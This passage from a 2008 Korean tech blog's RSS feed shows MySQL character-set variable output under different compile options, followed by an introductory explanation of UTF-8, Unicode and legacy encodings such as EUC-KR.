/&gt;| character_set_system &amp;nbsp; &amp;nbsp; | utf8 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_sets_dir &amp;nbsp; &amp;nbsp; &amp;nbsp; | /usr/local/mysql/share/mysql/charsets/ |&lt;br /&gt;| collation_connection &amp;nbsp; &amp;nbsp; | latin1_swedish_ci &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| collation_database &amp;nbsp; &amp;nbsp; &amp;nbsp; | utf8_general_ci &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| collation_server &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | utf8_general_ci &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| completion_type &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; | 0 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| concurrent_insert &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; | 1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| connect_timeout &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; | 5 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;+--------------------------+----------------------------------------+&lt;br /&gt;14 rows in set (0.00 sec)&lt;/P&gt;
&lt;P&gt;mysql&amp;gt;&lt;/P&gt;&lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;
&lt;P&gt;4. mysql 컴파일 환경 설정 시 --with-charset=euckr 옵션을 주었을 경우&lt;/P&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;
&lt;P&gt;mysql&amp;gt; show variables like &#039;c%&#039;;&lt;br /&gt;+--------------------------+----------------------------------------+&lt;br /&gt;| Variable_name &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; | Value &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;+--------------------------+----------------------------------------+&lt;br /&gt;| character_set_client &amp;nbsp; &amp;nbsp; | euckr &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| character_set_connection | euckr &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| character_set_database &amp;nbsp; | euckr &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| character_set_filesystem | binary &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_results &amp;nbsp;&amp;nbsp; | euckr &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| character_set_server &amp;nbsp; &amp;nbsp; | euckr &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| character_set_system &amp;nbsp; &amp;nbsp; | utf8 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_sets_dir &amp;nbsp; &amp;nbsp; &amp;nbsp; | /usr/local/mysql/share/mysql/charsets/ |&lt;br /&gt;| collation_connection &amp;nbsp; &amp;nbsp; | euckr_korean_ci &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| collation_database &amp;nbsp; &amp;nbsp; &amp;nbsp; | euckr_korean_ci &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| collation_server &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | euckr_korean_ci &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| completion_type &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; | 0 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| concurrent_insert &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; | 1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| connect_timeout &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; | 5 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;+--------------------------+----------------------------------------+&lt;br /&gt;14 rows in set (0.00 sec)&lt;/P&gt;
&lt;P&gt;mysql&amp;gt;&lt;/P&gt;&lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;
&lt;P&gt;참고: SULinux 1.5 apmtools로 APM 설치 후 기본값&lt;br /&gt;(SULinux는 euckr로 기본 설치됨)&lt;/P&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;
&lt;P&gt;mysql&amp;gt; show variables like &#039;c%&#039;;&lt;br /&gt;+--------------------------+-----------------------------------------------+&lt;br /&gt;| Variable_name &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; | Value &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;+--------------------------+-----------------------------------------------+&lt;br /&gt;| character_set_client &amp;nbsp; &amp;nbsp; | euckr &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_connection | euckr &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_database &amp;nbsp; | euckr &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_results &amp;nbsp;&amp;nbsp; | euckr &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_server &amp;nbsp; &amp;nbsp; | euckr &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_system &amp;nbsp; &amp;nbsp; | utf8 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| character_sets_dir &amp;nbsp; &amp;nbsp; &amp;nbsp; | /usr/local/mysql_4.1.22/share/mysql/charsets/ |&lt;br /&gt;| collation_connection &amp;nbsp; &amp;nbsp; | euckr_korean_ci &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| collation_database &amp;nbsp; &amp;nbsp; &amp;nbsp; | euckr_korean_ci &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| collation_server &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | euckr_korean_ci &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| concurrent_insert &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; | ON &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| connect_timeout &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; | 5 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;+--------------------------+-----------------------------------------------+&lt;br /&gt;12 rows in set (0.00 sec)&lt;/P&gt;
&lt;P&gt;mysql&amp;gt;&lt;/P&gt;&lt;/DIV&gt;</description>
			<category>웹/DB</category>
			<category>charset</category>
			<category>DB</category>
			<category>euckr</category>
			<category>MySQL</category>
			<category>utf-8</category>
			<category>데이터베이스</category>
			<category>인코딩</category>
			<category>캐릭터셋</category>
			<category>컴파일</category>
			<category>환경</category>
			<author> (디지문)</author>
			<guid>http://www.digimoon.net/blog/304</guid>
			<comments>http://www.digimoon.net/blog/304#entry304comment</comments>
			<pubDate>Sun, 13 Apr 2008 09:50:37 +0900</pubDate>
		</item>
		<item>
			<title>UTF-8(유니코드)란 무엇인가?</title>
			<link>http://www.digimoon.net/blog/303</link>
			<description>&lt;P align=left&gt;UTF-8은 &lt;STRONG&gt;&lt;FONT color=#f10b00&gt;전세계 모든 문자를 동시에 표현할 수 있도록 만들어진 규약&lt;/FONT&gt;&lt;/STRONG&gt;입니다.&lt;br /&gt;컴퓨터에서 &lt;STRONG&gt;UTF-8&lt;/STRONG&gt;이나 &lt;STRONG&gt;EUC-KR&lt;/STRONG&gt;이런 것들이 보인다면,&lt;br /&gt;‘&lt;STRONG&gt;아하,&lt;FONT color=#f10b00&gt;한글 표현과 어떤 관련이 있는 것&lt;/FONT&gt;이로군&lt;/STRONG&gt;‘&lt;br /&gt;이라고 생각하시면 됩니다.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;
&lt;P align=left&gt;UTF-8은 흔히 &lt;STRONG&gt;유니코드&lt;/STRONG&gt;라고도 불립니다.&lt;br /&gt;(UTF-8은 유니코드를 표현하기 위한 방식 중의 하나입니다.)&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;
&lt;P align=left&gt;애초에 컴퓨터에서 문자를 표기할때 영어권 국가만 생각해서 만들었기 때문에,&lt;br /&gt;전세계 각 나라들은 자기나라의 문자를 표현하기 위해 나름대로의 독자적인 꼼수를 사용해야 했습니다.&lt;br /&gt;이러한 방법을 &lt;STRONG&gt;인코딩&lt;/STRONG&gt;이라고 부릅니다.&lt;br /&gt;&lt;/P&gt;&lt;br /&gt;
&lt;P align=left&gt;우리나라는 한글을 표기하기 위해 EUC-KR라는 인코딩을 사용하였고,&lt;br /&gt;일본은 Shift-JIS,중국은 GB2312,대만은 Big5,우크라이나는 KOI8-U..등등&lt;br /&gt;결국 &lt;STRONG&gt;지구상에는 수십종류의 인코딩&lt;/STRONG&gt;이 생기게 되었습니다.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;
&lt;P align=left&gt;하지만,이렇게 제각각의 길을 걷다 보니 문제가 되는 경우가 많았습니다.&lt;br /&gt;흔히 ‘&lt;STRONG&gt;한글이 깨져 보인다&lt;/STRONG&gt;‘거나 ‘&lt;STRONG&gt;이상한 글자가 보인다&lt;/STRONG&gt;‘는 말은 이 과정에 문제가 생겼기 때문입니다.&lt;br /&gt;외국에서 만든 프로그램이나 게임들은 한국어 환경에서 제대로 문자가 보이지 않는 경우가 많았고,&lt;br /&gt;반대로 한글로 된 것들은 영문윈도우 등에서 제대로 표시되지 않습니다.&lt;br /&gt;이것은 로마자 외의 문자를 가진 다른 나라도 마찬가지였습니다.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;
&lt;P align=left&gt;그래서 전세계의 수많은 기업들을 중심으로 이러한 문제와 혼란을 한큐에 해결하기 위한 노력이 진행되었습니다.&lt;br /&gt;그리하여 탄생한 것이 &lt;STRONG&gt;유니코드(Unicode)&lt;/STRONG&gt;입니다.&lt;br /&gt;전세계 모든 글자들을 한곳에 몰아넣은 종합세트인 것이죠.&lt;br /&gt;&lt;/P&gt;&lt;br /&gt;
&lt;P align=left&gt;그 중에서 UTF-8이라는 방식이 가장 힘을 얻게 되었고, &lt;STRONG&gt;세계 표준으로 인정&lt;/STRONG&gt;받고 있습니다.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;
&lt;P align=left&gt;UTF-8이 도입되면서 전세계 모든 문자를 동시에 표현할 수 있게 되었고,&lt;br /&gt;따라서 서로간에 충돌이 일어나는 일이 없을 뿐만 아니라 다국어입력 또한 수월하게 되었습니다.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;
&lt;P align=left&gt;또한,UTF-8은 현존하고 있는 모든 문자를 포함할 뿐만 아니라,학술용도를 위해 인류 역사상 존재했던 문자들을 담을 수 있습니다.&lt;br /&gt;한국어의 경우 현재 사용가능한 11172자의 한글 외에도&lt;br /&gt;아래아, 반치음 처럼, 이제는 사라져 버린 옛날 문자인 &lt;STRONG&gt;한글고어도 표시&lt;/STRONG&gt;할 수 있습니다.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;
&lt;P align=left&gt;윈도우의 경우 이미 &lt;STRONG&gt;윈도우98부터 유니코드를 채택&lt;/STRONG&gt;하여 사용하고 있고,&lt;br /&gt;앞으로도 &lt;STRONG&gt;점점 유니코드가 널리 사용될 것&lt;/STRONG&gt;입니다.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;
&lt;P align=left&gt;하지만 &lt;STRONG&gt;여전히 문제가 되는 곳이 웹페이지&lt;/STRONG&gt; 입니다.&lt;/P&gt;
&lt;P align=left&gt;흔히 한글파일명으로 된 그림이 보이지 않을때 ‘&lt;STRONG&gt;&lt;FONT color=#fe2419&gt;URL을 항상 UTF-8로 보냄&lt;/FONT&gt;&lt;/STRONG&gt;‘ &lt;FONT color=#f10b00&gt;옵션을 해제&lt;/FONT&gt;하라는 설명을 자주 봅니다.&lt;br /&gt;물론 필요할 경우는 어쩔 수 없겠지만,이 방법은 &lt;STRONG&gt;&lt;FONT color=#f10b00&gt;단지 임시방편&lt;/FONT&gt;&lt;/STRONG&gt;일 뿐이라는 사실을 알고 있어야 합니다.&lt;/P&gt;
&lt;P align=left&gt;&lt;br /&gt;아직까지 네이버를 비롯한 대부분의 사이트들은 UTF-8이 아닌 EUC-KR을 사용하고 있기 때문에 생기는 문제인데, 전세계 각 나라들이 서로간의 &lt;FONT color=#f10b00&gt;언어 충돌로부터 자유로워지기 위해서는 &lt;STRONG&gt;궁극적으로 UTF-8로 통일&lt;/STRONG&gt;&lt;/FONT&gt;되어야 할 것입니다.&lt;br /&gt;&lt;STRONG&gt;현재는 과도기&lt;/STRONG&gt;에 있기 때문에 다소 불편함을 겪는 것입니다. &lt;/P&gt;&lt;br /&gt;
&lt;P align=left&gt;이상으로,UTF-8의 기본적인 개념에 대하여 설명하였습니다.&lt;/P&gt;
&lt;P align=left&gt;좀더 자세한 기술적인 것에 대해 알고 싶으시다면 아래의 페이지를 방문해 보십시오.&lt;/P&gt;
&lt;P align=left&gt;&lt;A href=&quot;http://www.unicode.org/&quot; target=_blank&gt;http://www.unicode.org/&lt;/A&gt;&lt;br /&gt;(유니코드 공식 홈페이지)&lt;/P&gt;
&lt;P align=left&gt;&lt;A href=&quot;http://kldp.org/Translations/html/UTF8-Unicode-KLDP/UTF8-Unicode-KLDP.html&quot; target=_blank&gt;http://kldp.org/Translations/html/UTF8-Unicode-KLDP/UTF8-Unicode-KLDP.html&lt;/A&gt;&lt;br /&gt;(UTF-8 및 유니코드에 관한 FAQ모음)&lt;/P&gt;</description>
			<category>웹/DB</category>
			<category>Big5</category>
			<category>euckr</category>
			<category>GB2312</category>
			<category>KOI8-U</category>
			<category>Shift-JIS</category>
			<category>Unicode</category>
			<category>utf-8</category>
			<category>다국어</category>
			<category>문자</category>
			<category>세계</category>
			<category>언어</category>
			<category>유니코드</category>
			<category>인코딩</category>
			<category>표준</category>
			<category>표현</category>
			<category>한글</category>
			<author> (디지문)</author>
			<guid>http://www.digimoon.net/blog/303</guid>
			<comments>http://www.digimoon.net/blog/303#entry303comment</comments>
			<pubDate>Sat, 12 Apr 2008 13:44:38 +0900</pubDate>
		</item>
	</channel>
</rss>
